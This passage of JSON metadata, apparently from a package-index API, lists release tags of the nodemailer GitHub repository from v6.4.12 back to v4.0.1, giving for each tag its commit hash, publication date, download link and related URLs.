:"v6.4.12","sha":"455cfbe02658aeee6932ef845676c9de13dfb544","kind":"commit","published_at":"2020-09-30T20:15:34.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.4.12","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.4.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.4.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.12/manifests","release_url":null},{"name":"v6.4.11","sha":"e3055c49f5247d002f084c28f3cbe39aa34117eb","kind":"tag","published_at":"2020-07-29T08:14:45.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.4.11","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.4.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.4.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.11/manifests","release_url":null},{"name":"v6.4.10","sha":"8985bde8450c7c313d939aa039d469aaac9fede1","kind":"commit","published_at":"2020-06-17T08:59:22.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.4.10","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.4.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.4.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.10/manifests","release_url":null},{"name":"v6.4.8","sha":"a0cab71272da408afc863b71301a8318d98cf035","kind":"commit","published_at":"2020-05-28T12:22:09.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.4.8","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.4.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.4.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.8/manifests","release_url":null},{"name":"v6.4.7","sha":"643c039e8e45629d9efc302cd96ed2bdbe510dd7","kind":"commit","published_at":"2020-05-28T08:27:20.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.4.7","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.7/manifests","release_url":null},{"name":"v6.4.6","sha":"c0345482024f412cbc801a014637f92bef938416","kind":"commit","published_at":"2020-03-20T10:18:35.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.4.6","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.6/manifests","release_url":null},{"name":"v6.4.5","sha":"c73bb333a5c8bc5d9094883757e5ac6b30652271","kind":"commit","published_at":"2020-03-10T19:10:57.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.4.5","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.5/manifests","release_url":null},{"name":"v6.4.4","sha":"26f7655b3256ead49c22da274a8c39eb5fa5cd08","kind":"commit","published_at":"2020-03-01T20:32:13.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.4.4","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.4/manifests","release_url":null},{"name":"v6.4.3","sha":"705fc8f8d26ae66db997df269d4a0f4fd44cec6e","kind":"commit","published_at":"2020-02-22T17:20:41.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.4.3","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.3/manifests","release_url":null},{"name":"v6.4.2","sha":"3a2a3e463d97418a2022745216c9b43ddbe1d14b","kind":"commit","published_at":"2019-12-11T21:50:18.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.4.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.2/manifests","release_url":null},{"name":"v6.4.1","sha":"05ff61176a1494363d50ff52bd7b5e033e325ac4","kind":"commit","published_at":"2019-12-07T17:06:28.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.4.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.1/manifests","release_url":null},{"name":"v6.4.0","sha":"6ee5a69d631ad1c49625f882d5cd8ed047cc2fb2","kind":"commit","published_at":"2019-12-04T12:58:53.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.4.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.4.0/manifests","release_url":null},{"name":"v6.3.1","sha":"901359ab92b38adfc14dc1757d791cf2de98117a","kind":"commit","published_at":"2019-10-09T06:03:27.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.3.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.3.1/manifests","release_url":null},{"name":"v6.3.0","sha":"3c013532cc37999a017b6d5e942ee7a2e410616d","kind":"commit","published_at":"2019-07-14T11:22:39.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.3.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.3.0/manifests","release_url":null},{"name":"v6.2.1","sha":"6e8210b5878df9d5952d4f994de6b70c44adfd21","kind":"commit","published_at":"2019-05-27T11:30:24.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.2.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.2.1/manifests","release_url":null},{"name":"v6.2.0","sha":"7b2ec1d977dbaa74072dbe7fba734e62e39a9965","kind":"commit","published_at":"2019-05-24T08:07:46.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.2.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.2.0/manifests","release_url":null},{"name":"v6.1.1","sha":"979d75015a4e6ad05de3d8adbf34b5d22dd4bd24","kind":"commit","published_at":"2019-04-20T07:25:48.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.1.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.1.1/manifests","release_url":null},{"name":"v6.1.0","sha":"9f08832c9a54e676e08a888339353156dc60f779","kind":"commit","published_at":"2019-04-06T14:55:23.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.1.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.1.0/manifests","release_url":null},{"name":"v6.0.0","sha":"23e1dc29ce8dca0ad10fa9ade2142825b38844b0","kind":"commit","published_at":"2019-03-25T10:15:24.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v6.0.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v6.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v6.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v6.0.0/manifests","release_url":null},{"name":"v5.1.1","sha":"1cb2e42e574ca6411747f1aae4c230fe5ec7bbf7","kind":"commit","published_at":"2019-01-09T21:03:37.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v5.1.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v5.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v5.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v5.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v5.1.1/manifests","release_url":null},{"name":"v5.1.0","sha":"4b6942206277abaedddcf35561539812587fe141","kind":"commit","published_at":"2019-01-09T09:08:16.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v5.1.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v5.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v5.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v5.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v5.1.0/manifests","release_url":null},{"name":"v5.0.1","sha":"e9dbf16d6a9bdb061c85869dcbc9927b03d6b9a2","kind":"commit","published_at":"2019-01-08T22:08:44.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v5.0.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v5.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v5.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v5.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v5.0.1/manifests","release_url":null},{"name":"v5.0.0","sha":"ede574a257673d995bc441a7587131f2917cad71","kind":"commit","published_at":"2018-12-28T10:43:15.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v5.0.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v5.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v5.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v5.0.0/manifests","release_url":null},{"name":"v4.7.0","sha":"533b94593f133cf353bca4b2648c1fb8326b7d0e","kind":"tag","published_at":"2018-11-19T12:26:36.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v4.7.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v4.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v4.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.7.0/manifests","release_url":null},{"name":"v4.6.8","sha":"bc2b52082186fdf8712b8a4737abe88e46061c3e","kind":"tag","published_at":"2018-08-15T16:45:42.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v4.6.8","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v4.6.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v4.6.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.6.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.6.8/manifests","release_url":null},{"name":"v4.6.7","sha":"9464025862293e549bb322036c16dfb5c3521b34","kind":"tag","published_at":"2018-06-15T10:54:58.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v4.6.7","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v4.6.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v4.6.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.6.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.6.7/manifests","release_url":null},{"name":"v4.6.6","sha":"ed3dc4d7b8e0ad3737fa2badfe658f5a36329934","kind":"tag","published_at":"2018-06-10T11:04:00.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v4.6.6","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v4.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v4.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.6.6/manifests","release_url":null},{"name":"v4.6.5","sha":"2f51cf2b7e6924a6e25552d8903d6b38d79616ab","kind":"tag","published_at":"2018-05-23T08:28:01.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v4.6.5","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v4.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v4.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.6.5/manifests","release_url":null},{"name":"v4.6.4","sha":"410bfc9b10b847496b256bb22e3513933c5a79af","kind":"tag","published_at":"2018-03-31T13:34:03.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v4.6.4","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v4.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v4.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.6.4/manifests","release_url":null},{"name":"v4.6.3","sha":"7ce8a9588e2cd1dea356ed48fababa428b31eb9a","kind":"tag","published_at":"2018-03-13T12:52:00.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v4.6.3","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v4.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v4.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.6.3/manifests","release_url":null},{"name":"v4.6.2","sha":"e2e279faea14c5f600a1c0423b02fce29474a778","kind":"commit","published_at":"2018-03-06T09:31:22.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v4.6.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v4.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v4.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.6.2/manifests","release_url":null},{"name":"v4.6.1","sha":"54c511811403938614d5adc38d62a3401ced7324","kind":"commit","published_at":"2018-03-06T07:58:12.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v4.6.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v4.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v4.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.6.1/manifests","release_url":null},{"name":"v4.6.0","sha":"954ab0e8019f5849945f6bf5dfa321121839931e","kind":"tag","published_at":"2018-02-22T16:50:07.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v4.6.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v4.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v4.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.6.0/manifests","release_url":null},{"name":"v4.5.0","sha":"3e3ba4f30ad5a73f037f45d3e36a9361ca43a318","kind":"commit","published_at":"2018-02-21T11:44:43.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v4.5.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v4.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v4.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.5.0/manifests","release_url":null},{"name":"v4.4.2","sha":"dfb1fbb61353f60d40aea76199590509c7184b5c","kind":"commit","published_at":"2018-01-20T12:08:12.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v4.4.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v4.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v4.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.4.2/manifests","release_url":null},{"name":"v4.4.1","sha":"e1b574a2df78964ef33e86875778fd39d7e3014f","kind":"tag","published_at":"2017-12-08T10:17:10.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v4.4.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v4.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v4.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.4.1/manifests","release_url":null},{"name":"v4.4.0","sha":"9cdb36928ffba32bc7a018f576c7c59572e0212e","kind":"tag","published_at":"2017-11-10T11:38:56.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v4.4.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v4.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v4.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.4.0/manifests","release_url":null},{"name":"v4.3.1","sha":"f79ee375fce744b70aea78d00cbd005eb389cb0d","kind":"commit","published_at":"2017-10-25T07:31:33.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v4.3.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v4.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v4.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.3.1/manifests","release_url":null},{"name":"v4.3.0","sha":"22fcff88e3e09cdbab583b760813057c6beab844","kind":"tag","published_at":"2017-10-23T09:06:48.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v4.3.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v4.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v4.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.3.0/manifests","release_url":null},{"name":"v4.2.0","sha":"11121b88c58259a0374d8b22ec6509c43d1656cb","kind":"tag","published_at":"2017-10-13T18:06:49.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v4.2.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.2.0/manifests","release_url":null},{"name":"v4.1.3","sha":"78e99a9031a39aa83e2ce17eb446065ccd1df125","kind":"tag","published_at":"2017-10-06T06:42:26.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v4.1.3","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v4.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v4.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.1.3/manifests","release_url":null},{"name":"v4.1.2","sha":"3979a0c4220d765c57bc157c9f7db1389ab17bbc","kind":"tag","published_at":"2017-10-03T09:38:06.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v4.1.2","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v4.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v4.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.1.2/manifests","release_url":null},{"name":"v4.1.1","sha":"90a926a70c71f4562ba6dd4910af6be55384cbe3","kind":"tag","published_at":"2017-09-25T18:16:20.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v4.1.1","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v4.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v4.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.1.1/manifests","release_url":null},{"name":"v4.1.0","sha":"940f6e9a2178ed4861757b389257a22e72885b1c","kind":"tag","published_at":"2017-08-28T11:55:08.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/tar.gz/v4.1.0","html_url":"https://github.com/nodemailer/nodemailer/releases/tag/v4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodemailer/nodemailer@v4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodemailer%2Fnodemailer/tags/v4.1.0/manifests","release_url":null},{"name":"v4.0.1","sha":"8b5990c5af6b3a60fe3cef4c0492e62d68f4b9ea","kind":"tag","published_at":"2017-04-13T10:17:52.000Z","download_url":"https://codeload.github.com/nodemailer/nodemailer/ta